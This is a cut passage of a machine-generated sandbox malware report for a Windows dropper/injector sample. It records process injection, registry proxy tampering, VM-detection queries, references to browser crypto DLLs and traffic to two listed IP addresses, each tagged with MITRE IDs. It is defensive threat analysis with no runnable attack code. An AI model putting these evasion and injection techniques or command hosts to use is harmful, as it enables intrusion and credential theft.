\"HKLM\\SYSTEM\\CONTROLSET001\\SERVICES\\TCPIP\\PARAMETERS\")","origin":"Registry Access","mitre_attack_id":"T1543.003","relevance":10,"id":"registry-67","sources":[{"report_type":"sandbox","report_id":"6884a8ceb8ba0a9b5c03d337"},{"report_type":"sandbox","report_id":"65fc2a0d0c95d1bcd40e482c"}]},{"level":"informative","category":"System Security","name":"Imports system security related APIs","description":"$78","origin":"Static Parser","mitre_attack_id":"T1134.001","relevance":1,"id":"static-87","sources":[{"report_type":"sandbox","report_id":"6884a8ceb8ba0a9b5c03d337"},{"report_type":"sandbox","report_id":"65fc2a0d0c95d1bcd40e482c"}]},{"level":"informative","category":"System Security","name":"Opens the Kernel Security Device Driver (KsecDD) of Windows","description":"\"fdfc254cf83ffbfd643d799b843c535b794b3116e2d9d1122513be8bf787a4b3.exe\" opened \"\\Device\\KsecDD\"\n \"InstallSetup_four.exe\" opened \"\\Device\\KsecDD\"\n \"288c47bbc1871b439df19ff4df68f076.exe\" opened \"\\Device\\KsecDD\"\n \"EasyAppns.exe\" opened \"\\Device\\KsecDD\"\n \"april.tmp\" opened \"\\Device\\KsecDD\"","origin":"API Call","relevance":10,"id":"api-37","sources":[{"report_type":"sandbox","report_id":"6884a8ceb8ba0a9b5c03d337"},{"report_type":"sandbox","report_id":"65fc2a0d0c95d1bcd40e482c"}]},{"level":"informative","category":"System Security","name":"Queries services related registry keys","description":"$79","origin":"Registry Access","mitre_attack_id":"T1007","relevance":1,"id":"registry-173","sources":[{"report_type":"sandbox","report_id":"6884a8ceb8ba0a9b5c03d337"},{"report_type":"sandbox","report_id":"65fc2a0d0c95d1bcd40e482c"}]},{"level":"informative","category":"Unusual Characteristics","name":"Contains ability to reboot/shutdown the operating system (API string)","description":"Found reference to API \"ExitWindowsEx\" (Indicator: \"ExitWindows\"; File: \"fdfc254cf83ffbfd643d799b843c535b794b3116e2d9d1122513be8bf787a4b3\")","origin":"File/Memory","mitre_attack_id":"T1529","relevance":3,"id":"string-189","sources":[{"report_type":"sandbox","report_id":"6884a8ceb8ba0a9b5c03d337"}]},{"level":"informative","category":"Unusual Characteristics","name":"Contains reference to mutex-related activity (API string)","description":"$7a","origin":"File/Memory","mitre_attack_id":"T1082","relevance":1,"id":"string-354","sources":[{"report_type":"sandbox","report_id":"6884a8ceb8ba0a9b5c03d337"},{"report_type":"sandbox","report_id":"65fc2a0d0c95d1bcd40e482c"}]},{"level":"informative","category":"Unusual Characteristics","name":"Drops executable files inside temp directory","description":"$7b","origin":"Binary File","mitre_attack_id":"T1105","relevance":3,"id":"binary-33","sources":[{"report_type":"sandbox","report_id":"6884a8ceb8ba0a9b5c03d337"},{"report_type":"sandbox","report_id":"65fc2a0d0c95d1bcd40e482c"}]},{"level":"informative","category":"Unusual Characteristics","name":"Drops files inside appdata directory","description":"$7c","origin":"Binary File","mitre_attack_id":"T1036","relevance":3,"id":"binary-37","sources":[{"report_type":"sandbox","report_id":"6884a8ceb8ba0a9b5c03d337"},{"report_type":"sandbox","report_id":"65fc2a0d0c95d1bcd40e482c"}]},{"level":"informative","category":"Unusual Characteristics","name":"Found Delphi 4 - Delphi 2006 artifact","description":"\"april.exe\" has a PE timestamp using the buggy magic timestamp 0x2A425E19. The real compilation date is probably Thu Jan 1 00:00:00 1970\n \"is-KQJQP.tmp\" has a PE timestamp using the buggy magic timestamp 0x2A425E19. The real compilation date is probably Thu Jan 1 00:00:00 1970\n \"april.tmp\" has a PE timestamp using the buggy magic timestamp 0x2A425E19. The real compilation date is probably Tue Apr 10 18:43:47 2001","origin":"Static Parser","relevance":10,"id":"static-19","sources":[{"report_type":"sandbox","report_id":"6884a8ceb8ba0a9b5c03d337"},{"report_type":"sandbox","report_id":"65fc2a0d0c95d1bcd40e482c"}]},{"level":"informative","category":"Unusual Characteristics","name":"Matched Compiler/Packer signature","description":"\"fdfc254cf83ffbfd643d799b843c535b794b3116e2d9d1122513be8bf787a4b3\" was detected as \"Microsoft visual C# v7.0 / Basic .NET\"\n \"288c47bbc1871b439df19ff4df68f076.exe\" was detected as \"VC8 -> Microsoft Corporation\"\n \"april.exe\" was detected as \"Borland Delphi 4.0\"\n \"flashdecompiler32.exe\" was detected as \"Microsoft visual C++ 5.0\"\n \"EasyAppns.exe\" was detected as \"VC8 -> Microsoft Corporation\"\n \"InstallSetup_four.exe\" was detected as \"VC8 -> Microsoft Corporation\"\n \"EasyApp.exe\" was detected as \"VC8 -> Microsoft Corporation\"\n \"is-KQJQP.tmp\" was detected as \"Borland Delphi 3.0\"\n \"april.tmp\" was detected as \"Borland Delphi 3.0\"\n \"_setup64.tmp\" was detected as \"Morphine v1.2 (DLL)\"\n \"_RegDLL.tmp\" was detected as \"Morphine v1.2 (DLL)\"","origin":"Static Parser","mitre_attack_id":"T1027.002","relevance":10,"id":"static-18","sources":[{"report_type":"sandbox","report_id":"6884a8ceb8ba0a9b5c03d337"},{"report_type":"sandbox","report_id":"65fc2a0d0c95d1bcd40e482c"}]},{"level":"informative","category":"Unusual Characteristics","name":"Reads the windows installation language","description":"$7d","origin":"Registry Access","mitre_attack_id":"T1614.001","relevance":2,"id":"registry-26","sources":[{"report_type":"sandbox","report_id":"6884a8ceb8ba0a9b5c03d337"},{"report_type":"sandbox","report_id":"65fc2a0d0c95d1bcd40e482c"}]},{"level":"suspicious","category":"Anti-Reverse Engineering","name":"Section contains high entropy","description":"$7e","origin":"Static Parser","mitre_attack_id":"T1027.009","relevance":1,"id":"static-6","sources":[{"report_type":"sandbox","report_id":"6884a8ceb8ba0a9b5c03d337"}]},{"level":"suspicious","category":"Environment Awareness","name":"Calls an API typically used to query local/system time as file time","description":"\"april.tmp\" called \"FileTimeToLocalFileTime\" with parameter 0c063ecf4ffedb01 & 0c2edf2215fedb01 (UID: 00000000-00007668)\n \"april.tmp\" called \"FileTimeToLocalFileTime\" with parameter ^8M & ^` (UID: 00000000-00007668)\n \"april.tmp\" called \"FileTimeToSystemTime\" (UID: 00000000-00007668)\n \"april.tmp\" called \"FileTimeToLocalFileTime\" with parameter 00eb3cd68115d701 & 0013de294715d701 (UID: 00000000-00007668)\n \"april.tmp\" called \"FileTimeToLocalFileTime\" with parameter 004972353292d501 & 00711389f791d501 (UID: 00000000-00007668)\n \"april.tmp\" called \"FileTimeToLocalFileTime\" with parameter 008b941325a2d601 & 00b33567eaa1d601 (UID: 00000000-00007668)\n \"april.tmp\" called \"FileTimeToLocalFileTime\" with parameter 00e4c3429a15d701 & 000c65965f15d701 (UID: 00000000-00007668)\n \"april.tmp\" called \"FileTimeToLocalFileTime\" with parameter 0020e4ee05d9d601 & 00488542cbd8d601 (UID: 00000000-00007668)\n \"april.tmp\" called \"FileTimeToLocalFileTime\" with parameter 003b4036bf7bda01 & 0063e189847bda01 (UID: 00000000-00007668)","origin":"API Call","mitre_attack_id":"T1070.006","relevance":3,"id":"api-223","sources":[{"report_type":"sandbox","report_id":"6884a8ceb8ba0a9b5c03d337"}]},{"level":"suspicious","category":"Environment Awareness","name":"Contains ability to query CPU information","description":"cpuid at 00000000-00008076-61219-14-00409D56\n cpuid at 00000000-00001560-63370-1144-00081DE6","origin":"Hybrid Analysis Technology","mitre_attack_id":"T1082","relevance":10,"id":"stream-13","sources":[{"report_type":"sandbox","report_id":"6884a8ceb8ba0a9b5c03d337"}]},{"level":"suspicious","category":"Environment Awareness","name":"Contains ability to retrieve a module handle","description":"GetModuleHandleW@KERNEL32.dll at 00000000-00008076-61219-3556-00408960","origin":"Hybrid Analysis Technology","mitre_attack_id":"T1082","relevance":5,"id":"stream-121","sources":[{"report_type":"sandbox","report_id":"6884a8ceb8ba0a9b5c03d337"}]},{"level":"suspicious","category":"Environment Awareness","name":"Contains ability to retrieve the contents of the STARTUPINFO structure","description":"GetStartupInfoW@KERNEL32.dll at 00000000-00008076-61219-2252-00415A34","origin":"Hybrid Analysis Technology","mitre_attack_id":"T1543","relevance":5,"id":"stream-133","sources":[{"report_type":"sandbox","report_id":"6884a8ceb8ba0a9b5c03d337"}]},{"level":"suspicious","category":"Environment Awareness","name":"Executes WMI queries known to be used for VM detection","description":"\"288c47bbc1871b439df19ff4df68f076.exe\" issued a query \"SELECT BuildNumber FROM Win32_OperatingSystem\"\n \"288c47bbc1871b439df19ff4df68f076.exe\" issued a query \"SELECT OSArchitecture FROM Win32_OperatingSystem\"\n \"288c47bbc1871b439df19ff4df68f076.exe\" issued a query \"SELECT Caption FROM Win32_OperatingSystem\"","origin":"API Call","mitre_attack_id":"T1047","relevance":10,"id":"api-57","sources":[{"report_type":"sandbox","report_id":"6884a8ceb8ba0a9b5c03d337"}]},{"level":"suspicious","category":"Environment Awareness","name":"Found a reference to a WMI query string known to be used for VM detection","description":"\"Select * from Win32_ComputerSystem\" (Indicator: \" win32_computersystem\"; File: \"fdfc254cf83ffbfd643d799b843c535b794b3116e2d9d1122513be8bf787a4b3\")\n \"SELECT * FROM Win32_OperatingSystem\" (Indicator: \" win32_operatingsystem\"; File: \"00000000-00001560.00000000.171932.00061000.00000020.mdmp\")\n \"SELECT * FROM Win32_OperatingSystem\" (Indicator: \" win32_operatingsystem\"; Source: \"00000000-00001560.00000000.171932.00096000.00000002.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1047","relevance":10,"id":"string-55","sources":[{"report_type":"sandbox","report_id":"6884a8ceb8ba0a9b5c03d337"}]},{"level":"suspicious","category":"General","name":"Reads configuration files (.ini files)","description":"$7f","origin":"API Call","mitre_attack_id":"T1083","relevance":4,"id":"api-6","sources":[{"report_type":"sandbox","report_id":"6884a8ceb8ba0a9b5c03d337"},{"report_type":"sandbox","report_id":"65fc2a0d0c95d1bcd40e482c"}]},{"level":"suspicious","category":"Installation/Persistence","name":"Drops executable files","description":"$80","origin":"Binary File","mitre_attack_id":"T1105","relevance":10,"id":"binary-1","sources":[{"report_type":"sandbox","report_id":"6884a8ceb8ba0a9b5c03d337"},{"report_type":"sandbox","report_id":"65fc2a0d0c95d1bcd40e482c"}]},{"level":"suspicious","category":"Installation/Persistence","name":"Writes a PE file header to disc","description":"$81","origin":"API Call","mitre_attack_id":"T1105","relevance":10,"id":"api-43","sources":[{"report_type":"sandbox","report_id":"6884a8ceb8ba0a9b5c03d337"},{"report_type":"sandbox","report_id":"65fc2a0d0c95d1bcd40e482c"}]},{"level":"suspicious","category":"Network Related","name":"Sends traffic on typical HTTP outbound port, but without HTTP header","description":"TCP traffic to 185.172.128.90 on port 80 is sent without HTTP header\n TCP traffic to 185.172.128.187 on port 80 is sent without HTTP header","origin":"Network Traffic","mitre_attack_id":"T1071.001","relevance":5,"id":"network-23","sources":[{"report_type":"sandbox","report_id":"6884a8ceb8ba0a9b5c03d337"},{"report_type":"sandbox","report_id":"65fc2a0d0c95d1bcd40e482c"}]},{"level":"suspicious","category":"System Destruction","name":"Marks file for deletion","description":"\"EasyAppns.exe\" marked \"C:\\Users\\Public\\Music\\__tmp_rar_sfx_access_check_909019078\" for deletion\n \"april.exe\" marked \"C:\\Users\\%OSUSER%\\AppData\\Local\\Temp\\is-T5UCC.tmp\\april.tmp\" for deletion\n \"april.tmp\" marked \"C:\\Users\\%OSUSER%\\AppData\\Local\\Senior Flash Decompiler\\libgcc_s_dw2-1.dll\" for deletion","origin":"API Call","mitre_attack_id":"T1070.004","relevance":10,"id":"api-26","sources":[{"report_type":"sandbox","report_id":"6884a8ceb8ba0a9b5c03d337"},{"report_type":"sandbox","report_id":"65fc2a0d0c95d1bcd40e482c"}]},{"level":"suspicious","category":"System Destruction","name":"Opens file with deletion access rights","description":"$82","origin":"API Call","mitre_attack_id":"T1070.004","relevance":7,"id":"api-25","sources":[{"report_type":"sandbox","report_id":"6884a8ceb8ba0a9b5c03d337"},{"report_type":"sandbox","report_id":"65fc2a0d0c95d1bcd40e482c"}]},{"level":"suspicious","category":"System Security","name":"Modifies proxy settings","description":"\"fdfc254cf83ffbfd643d799b843c535b794b3116e2d9d1122513be8bf787a4b3.exe\" (Access type: \"SETVAL\"; Path: \"HKCU\\SOFTWARE\\MICROSOFT\\WINDOWS\\CURRENTVERSION\\INTERNET SETTINGS\\ZONEMAP\"; Key: \"PROXYBYPASS\"; Value: \"01000000\")\n \"EasyAppns.exe\" (Access type: \"SETVAL\"; Path: \"HKCU\\SOFTWARE\\MICROSOFT\\WINDOWS\\CURRENTVERSION\\INTERNET SETTINGS\\ZONEMAP\"; Key: \"PROXYBYPASS\"; Value: \"01000000\")","origin":"Registry Access","mitre_attack_id":"T1090.001","relevance":10,"id":"registry-27","sources":[{"report_type":"sandbox","report_id":"6884a8ceb8ba0a9b5c03d337"},{"report_type":"sandbox","report_id":"65fc2a0d0c95d1bcd40e482c"}]},{"level":"suspicious","category":"Unusual Characteristics","name":"CRC value set in PE header does not match actual value","description":"\"288c47bbc1871b439df19ff4df68f076.exe\" claimed CRC 4337193 while the actual is CRC 7585054\n \"InstallSetup_four.exe\" claimed CRC 427752 while the actual is CRC 1067109\n \"EasyApp.exe\" claimed CRC 385857 while the actual is CRC 427752\n \"is-85VUO.tmp\" claimed CRC 196218 while the actual is CRC 696147\n \"is-IRLGV.tmp\" claimed CRC 130584 while the actual is CRC 196218\n \"is-UM722.tmp\" claimed CRC 133099 while the actual is CRC 130584\n \"is-AB0VE.tmp\" claimed CRC 89945 while the actual is CRC 133099\n \"is-D54J2.tmp\" claimed CRC 79177 while the actual is CRC 89945","origin":"Static Parser","mitre_attack_id":"T1027","relevance":10,"id":"static-0","sources":[{"report_type":"sandbox","report_id":"6884a8ceb8ba0a9b5c03d337"},{"report_type":"sandbox","report_id":"65fc2a0d0c95d1bcd40e482c"}]},{"level":"suspicious","category":"Unusual Characteristics","name":"Imports suspicious APIs","description":"$83","origin":"Static Parser","mitre_attack_id":"T1106","relevance":1,"id":"static-1","sources":[{"report_type":"sandbox","report_id":"6884a8ceb8ba0a9b5c03d337"},{"report_type":"sandbox","report_id":"65fc2a0d0c95d1bcd40e482c"}]},{"level":"suspicious","category":"Unusual Characteristics","name":"Timestamp in PE header is very old or in the future","description":"\"is-85VUO.tmp\" claims program is from Thu Jan 1 00:00:00 1970\n \"is-IRLGV.tmp\" claims program is from Thu Jan 1 00:00:00 1970\n \"is-UM722.tmp\" claims program is from Thu Jan 1 00:00:00 1970\n \"is-AB0VE.tmp\" claims program is from Thu Jan 1 00:00:00 1970\n \"is-D54J2.tmp\" claims program is from Thu Jan 1 00:00:00 1970","origin":"Static Parser","mitre_attack_id":"T1027","relevance":10,"id":"static-3","sources":[{"report_type":"sandbox","report_id":"6884a8ceb8ba0a9b5c03d337"}]},{"level":"malicious","category":"Anti-Detection/Stealthiness","name":"Creates a process in suspended mode (likely for process injection)","description":"\"fdfc254cf83ffbfd643d799b843c535b794b3116e2d9d1122513be8bf787a4b3.exe\" called \"CreateProcessW\" with parameter \"\"%TEMP%\\InstallSetup_four.exe\"\" - (UID: 00000000-00005760)\n \"fdfc254cf83ffbfd643d799b843c535b794b3116e2d9d1122513be8bf787a4b3.exe\" called \"CreateProcessW\" with parameter \"\"%TEMP%\\288c47bbc1871b439df19ff4df68f076.exe\"\" - (UID: 00000000-00005760)\n \"fdfc254cf83ffbfd643d799b843c535b794b3116e2d9d1122513be8bf787a4b3.exe\" called \"CreateProcessW\" with parameter \"\"%TEMP%\\EasyAppns.exe\"\" - (UID: 00000000-00005760)\n \"fdfc254cf83ffbfd643d799b843c535b794b3116e2d9d1122513be8bf787a4b3.exe\" called \"CreateProcessW\" with parameter \"\"%TEMP%\\april.exe\"\" - (UID: 00000000-00005760)\n \"EasyAppns.exe\" called \"CreateProcessW\" with parameter \"\"%PUBLIC%\\Music\\EasyApp.exe\"\" - (UID: 00000000-00001560)","origin":"API Call","mitre_attack_id":"T1055","relevance":10,"id":"api-129","sources":[{"report_type":"sandbox","report_id":"6884a8ceb8ba0a9b5c03d337"},{"report_type":"sandbox","report_id":"65fc2a0d0c95d1bcd40e482c"}]},{"level":"malicious","category":"Anti-Detection/Stealthiness","name":"PE file contains executable resources","description":"$84","origin":"Static Parser","mitre_attack_id":"T1027.009","relevance":10,"id":"static-97","sources":[{"report_type":"sandbox","report_id":"6884a8ceb8ba0a9b5c03d337"},{"report_type":"sandbox","report_id":"65fc2a0d0c95d1bcd40e482c"}]},{"level":"malicious","category":"Environment Awareness","name":"Contains ability to discover network shares","description":"WNetOpenEnumA@MPR.DLL at 00000000-00007668-64666-1959-00406F0C","origin":"Hybrid Analysis Technology","mitre_attack_id":"T1135","relevance":5,"id":"stream-69","sources":[{"report_type":"sandbox","report_id":"6884a8ceb8ba0a9b5c03d337"},{"report_type":"sandbox","report_id":"65fc2a0d0c95d1bcd40e482c"}]},{"level":"malicious","category":"Environment Awareness","name":"Found a Wine emulator related string","description":"\"wine_get_version\" (Indicator: \"wine_get_version\")","origin":"File/Memory","relevance":2,"id":"string-62","sources":[{"report_type":"sandbox","report_id":"6884a8ceb8ba0a9b5c03d337"},{"report_type":"sandbox","report_id":"65fc2a0d0c95d1bcd40e482c"}]},{"level":"malicious","category":"External Systems","name":"Sample detected by CrowdStrike Static Analysis and ML with relatively high confidence","description":"CrowdStrike Static Analysis and ML (QuickScan) yielded detection: win/malicious_confidence_100% (W)","origin":"External System","relevance":10,"id":"avtest-8","sources":[{"report_type":"sandbox","report_id":"6884a8ceb8ba0a9b5c03d337"},{"report_type":"sandbox","report_id":"65fc2a0d0c95d1bcd40e482c"}]},{"level":"malicious","category":"Installation/Persistence","name":"Writes data to a remote process","description":"$85","origin":"API Call","mitre_attack_id":"T1055","relevance":6,"id":"api-0","sources":[{"report_type":"sandbox","report_id":"6884a8ceb8ba0a9b5c03d337"},{"report_type":"sandbox","report_id":"65fc2a0d0c95d1bcd40e482c"}]},{"level":"malicious","category":"Pattern Matching","name":"YARA signature match","description":"YARA signature \"MALWARE_Win_DLInjector04\" matched file \"sample.bin\" as \"Detects downloader / injector\" (Author: ditekSHen)","origin":"YARA Signature","relevance":9,"id":"yara-0","sources":[{"report_type":"sandbox","report_id":"6884a8ceb8ba0a9b5c03d337"},{"report_type":"sandbox","report_id":"65fc2a0d0c95d1bcd40e482c"}]},{"level":"malicious","category":"Unusual Characteristics","name":"Spawns a lot of processes","description":"$86","origin":"Monitored Target","mitre_attack_id":"T1057","relevance":8,"id":"target-14","sources":[{"report_type":"sandbox","report_id":"6884a8ceb8ba0a9b5c03d337"},{"report_type":"sandbox","report_id":"65fc2a0d0c95d1bcd40e482c"}]},{"level":"informative","category":"Anti-Detection/Stealthyness","name":"Contains ability to inject code into another process (API string)","description":"$87","origin":"File/Memory","mitre_attack_id":"T1055","relevance":1,"id":"string-92","sources":[{"report_type":"sandbox","report_id":"65fc2a0d0c95d1bcd40e482c"}]},{"level":"informative","category":"Anti-Detection/Stealthyness","name":"Contains ability to modify process memory (API string)","description":"Found reference to API \"VirtualAllocExNuma\" (Indicator: \"VirtualAllocEx\"; Source: \"00000000-00002012.00000000.67237.00250000.00000004.mdmp, 00000000-00002012.00000001.67447.00250000.00000004.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1055.003","relevance":1,"id":"string-439","sources":[{"report_type":"sandbox","report_id":"65fc2a0d0c95d1bcd40e482c"}]},{"level":"informative","category":"Anti-Detection/Stealthyness","name":"Contains ability to perform Base64 encoding/decoding","description":"$88","origin":"File/Memory","mitre_attack_id":"T1132","relevance":1,"id":"string-338","sources":[{"report_type":"sandbox","report_id":"65fc2a0d0c95d1bcd40e482c"}]},{"level":"informative","category":"Anti-Detection/Stealthyness","name":"Contains ability to use Cryptographic classes","description":"Found reference to \"CryptCNGInitHMAC\" (Indicator: \"HMAC\"; Source: \"00000000-00002012.00000000.67237.00250000.00000004.mdmp, 00000000-00002012.00000001.67447.00250000.00000004.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1027","relevance":2,"id":"string-138","sources":[{"report_type":"sandbox","report_id":"65fc2a0d0c95d1bcd40e482c"}]},{"level":"informative","category":"Anti-Detection/Stealthyness","name":"Tries to map intranet network resources to internet zone","description":"\"288c47bbc1871b439df19ff4df68f000766.exe\" (Access type: \"SETVAL\"; Path: \"HKCU\\SOFTWARE\\MICROSOFT\\WINDOWS\\CURRENTVERSION\\INTERNET SETTINGS\\ZONEMAP\"; Key: \"UNCASINTRANET\"; Value: \"00000000\")\n \"InstallSetup_four.exe\" (Access type: \"SETVAL\"; Path: \"HKCU\\SOFTWARE\\MICROSOFT\\WINDOWS\\CURRENTVERSION\\INTERNET SETTINGS\\ZONEMAP\"; Key: \"UNCASINTRANET\"; Value: \"00000000\")\n \"EasyAppns.exe\" (Access type: \"SETVAL\"; Path: \"HKCU\\SOFTWARE\\MICROSOFT\\WINDOWS\\CURRENTVERSION\\INTERNET SETTINGS\\ZONEMAP\"; Key: \"UNCASINTRANET\"; Value: \"00000000\")\n \"u1s0.0.exe\" (Access type: \"SETVAL\"; Path: \"HKCU\\SOFTWARE\\MICROSOFT\\WINDOWS\\CURRENTVERSION\\INTERNET SETTINGS\\ZONEMAP\"; Key: \"UNCASINTRANET\"; Value: \"00000000\")\n \"u1s0.1.exe\" (Access type: \"SETVAL\"; Path: \"HKCU\\SOFTWARE\\MICROSOFT\\WINDOWS\\CURRENTVERSION\\INTERNET SETTINGS\\ZONEMAP\"; Key: \"UNCASINTRANET\"; Value: \"00000000\")","origin":"Registry Access","mitre_attack_id":"T1562.001","relevance":1,"id":"registry-179","sources":[{"report_type":"sandbox","report_id":"65fc2a0d0c95d1bcd40e482c"}]},{"level":"informative","category":"Anti-Reverse Engineering","name":"Found strings in conjunction with a procedure lookup that resolve to a known API export symbol","description":"Found reference to API SHGetFolderPathA@SHFOLDER.DLL at 00000000-00000856-42198-3037-004779B4","origin":"Hybrid Analysis Technology","relevance":10,"id":"stream-41","sources":[{"report_type":"sandbox","report_id":"65fc2a0d0c95d1bcd40e482c"}]},{"level":"informative","category":"Anti-Reverse Engineering","name":"PE file contains zero-size sections","description":"Raw size of \"BSS\" is zero\n Raw size of \".tls\" is zero\n Raw size of \".reloc\" is zero","origin":"Static Parser","mitre_attack_id":"T1027","relevance":10,"id":"static-5","sources":[{"report_type":"sandbox","report_id":"65fc2a0d0c95d1bcd40e482c"}]},{"level":"informative","category":"Cryptographic Related","name":"Calls an API typically used to convert data from string to binary","description":"\"u1s0.0.exe\" called \"CryptStringToBinaryA\" with parameters {\"pszString\": \"YmxvY2s=\"\n \"cchString\": \"0\"\n \"dwFlags\": \"1\"\n \"pcbBinary\": \"05000000\"}\n \"u1s0.0.exe\" called \"CryptStringToBinaryA\" with parameters {\"pszString\": \"YmxvY2s=\"\n \"cchString\": \"0\"\n \"dwFlags\": \"1\"\n \"pbBinary\": \"block\"\n \"pcbBinary\": \"05000000\"}","origin":"API Call","mitre_attack_id":"T1027","relevance":3,"id":"api-229","sources":[{"report_type":"sandbox","report_id":"65fc2a0d0c95d1bcd40e482c"}]},{"level":"informative","category":"Cryptographic Related","name":"Contains ability to encrypt/encode message (API string)","description":"Found reference to API \"CryptStringToBinaryA\" (Indicator: \"CryptStringToBinary\"; Source: \"00000000-00002012.00000000.67237.00250000.00000004.mdmp, 00000000-00002012.00000001.67447.00250000.00000004.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1027","relevance":1,"id":"string-213","sources":[{"report_type":"sandbox","report_id":"65fc2a0d0c95d1bcd40e482c"}]},{"level":"informative","category":"Cryptographic Related","name":"Contains reference to crypto DLLs","description":"Found string \"C:\\ProgramData\\nss3.dll\" (Indicator: \"\\nss3.dll\"; Source: \"00000000-00002012.00000000.67237.00299000.00000004.mdmp, 00000000-00002012.00000001.67447.00299000.00000004.mdmp\")\n Found string \"softokn3.dll\" (Indicator: \"softokn3.dll\"; Source: \"00000000-00002012.00000000.67237.00299000.00000004.mdmp, 00000000-00002012.00000001.67447.00299000.00000004.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1486","relevance":1,"id":"string-493","sources":[{"report_type":"sandbox","report_id":"65fc2a0d0c95d1bcd40e482c"}]},{"level":"informative","category":"Cryptographic Related","name":"HTTP requests contain Base64 strings","description":"$89","origin":"Network Traffic","mitre_attack_id":"T1132","relevance":1,"id":"network-60","sources":[{"report_type":"sandbox","report_id":"65fc2a0d0c95d1bcd40e482c"}]},{"level":"informative","category":"Environment Awareness","name":"Calls an API typically used to retrieve account information for specified SID","description":"$8a","origin":"API Call","mitre_attack_id":"T1033","relevance":3,"id":"api-148","sources":[{"report_type":"sandbox","report_id":"65fc2a0d0c95d1bcd40e482c"}]},{"level":"informative","category":"Environment Awareness","name":"Contains ability to detect virtual environment (API)","description":"GetTickCount@KERNEL32.DLL at 00000000-00000856-42198-2944-00472E88\n GetTickCount@KERNEL32.DLL at 00000000-00000856-42198-208-004569D4\n GetTickCount@KERNEL32.DLL at 00000000-00000856-42198-526-004778DC","origin":"Hybrid Analysis Technology","mitre_attack_id":"T1497","relevance":3,"id":"stream-87","sources":[{"report_type":"sandbox","report_id":"65fc2a0d0c95d1bcd40e482c"}]},{"level":"informative","category":"Environment Awareness","name":"Contains ability to enumerates all mounted drives","description":"GetDriveTypeA@KERNEL32.DLL at 00000000-00000856-42198-2829-00460500\n GetLogicalDrives@KERNEL32.DLL at 00000000-00000856-42198-2821-004600F4","origin":"Hybrid Analysis Technology","mitre_attack_id":"T1083","relevance":3,"id":"stream-66","sources":[{"report_type":"sandbox","report_id":"65fc2a0d0c95d1bcd40e482c"}]},{"level":"informative","category":"Environment Awareness","name":"Contains ability to query local/system time as file time","description":"FileTimeToLocalFileTime@KERNEL32.DLL at 00000000-00000856-42198-812-0046A044\n GetSystemTimeAsFileTime@KERNEL32.DLL at 00000000-00000856-42198-208-004569D4\n GetSystemTimeAsFileTime@KERNEL32.DLL at 00000000-00000856-42198-2705-00455880\n GetSystemTimeAsFileTime@KERNEL32.DLL at 00000000-00000856-42198-195-004558C4","origin":"Hybrid Analysis Technology","mitre_attack_id":"T1070.006","relevance":1,"id":"stream-71","sources":[{"report_type":"sandbox","report_id":"65fc2a0d0c95d1bcd40e482c"}]},{"level":"informative","category":"Environment Awareness","name":"Contains ability to query machine time","description":"GetLocalTime@KERNEL32.DLL at 00000000-00000856-42198-2965-0046A91C\n GetSystemTime@KERNEL32.DLL at 00000000-00000856-42198-104-00402778\n GetSystemTimeAsFileTime@KERNEL32.DLL at 00000000-00000856-42198-208-004569D4\n GetSystemTimeAsFileTime@KERNEL32.DLL at 00000000-00000856-42198-2705-00455880\n GetSystemTimeAsFileTime@KERNEL32.DLL at 00000000-00000856-42198-195-004558C4\n GetLocalTime@KERNEL32.DLL at 00000000-00000856-42198-2958-0046A370","origin":"Hybrid Analysis Technology","mitre_attack_id":"T1124","relevance":1,"id":"stream-2","sources":[{"report_type":"sandbox","report_id":"65fc2a0d0c95d1bcd40e482c"}]},{"level":"informative","category":"Environment Awareness","name":"Contains ability to query system locale (API string)","description":"$8b","origin":"File/Memory","mitre_attack_id":"T1614","relevance":1,"id":"string-201","sources":[{"report_type":"sandbox","report_id":"65fc2a0d0c95d1bcd40e482c"}]},{"level":"informative","category":"Environment Awareness","name":"Contains ability to query volume size","description":"GetDiskFreeSpaceA@KERNEL32.DLL at 00000000-00000856-42198-2690-00454574","origin":"Hybrid Analysis Technology","mitre_attack_id":"T1497.001","relevance":3,"id":"stream-37","sources":[{"report_type":"sandbox","report_id":"65fc2a0d0c95d1bcd40e482c"}]},{"level":"informative","category":"Environment Awareness","name":"Contains ability to retrieve machine timezone (API string)","description":"Found reference to API \"GetTimeZoneInformation\" (Indicator: \"GetTimeZoneInformation\"; Source: \"00000000-00002012.00000000.67237.00250000.00000004.mdmp, 00000000-00002012.00000001.67447.00250000.00000004.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1124","relevance":1,"id":"string-248","sources":[{"report_type":"sandbox","report_id":"65fc2a0d0c95d1bcd40e482c"}]},{"level":"informative","category":"Environment Awareness","name":"Contains ability to retrieve system language","description":"GetUserDefaultLangID@KERNEL32.DLL at 00000000-00000856-42198-3070-00478C20","origin":"Hybrid Analysis Technology","mitre_attack_id":"T1614.001","relevance":3,"id":"stream-79","sources":[{"report_type":"sandbox","report_id":"65fc2a0d0c95d1bcd40e482c"}]},{"level":"informative","category":"Environment Awareness","name":"Contains ability to retrieve volume information (API string)","description":"Found reference to API \"GetVolumeInformationA\" (Indicator: \"GetVolumeInformation\"; Source: \"00000000-00002012.00000000.67237.00250000.00000004.mdmp, 00000000-00002012.00000001.67447.00250000.00000004.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1082","relevance":1,"id":"string-162","sources":[{"report_type":"sandbox","report_id":"65fc2a0d0c95d1bcd40e482c"}]},{"level":"informative","category":"Environment Awareness","name":"Found registry location string related to processor","description":"Observed string: \"HARDWARE\\DESCRIPTION\\System\\CentralProcessor\\0\" (Indicator: \"hardware\\description\\system\\centralprocessor\") in Source: 00000000-00002012.00000000.67237.00299000.00000004.mdmp\n 00000000-00002012.00000001.67447.00299000.00000004.mdmp","origin":"File/Memory","mitre_attack_id":"T1082","relevance":1,"id":"string-351","sources":[{"report_type":"sandbox","report_id":"65fc2a0d0c95d1bcd40e482c"}]},{"level":"informative","category":"Environment Awareness","name":"Makes a code branch decision directly after an API that is environment aware","description":"Found API call GetDiskFreeSpaceA@KERNEL32.DLL directly followed by \"cmp byte ptr [ebp-02h], 00h\" and \"je 00454670h\" at 00000000-00000856-42198-2690-00454574\n Found API call GetVersion@KERNEL32.DLL directly followed by \"cmp ax, 0006h\" and \"jnc 0045F24Dh\" at 00000000-00000856-42198-2793-0045F1D8\n Found API call GetVersion@KERNEL32.DLL directly followed by \"cmp ax, 0004h\" and \"jc 004117C4h\" at 00000000-00000856-42198-2130-00411664\n Found API call 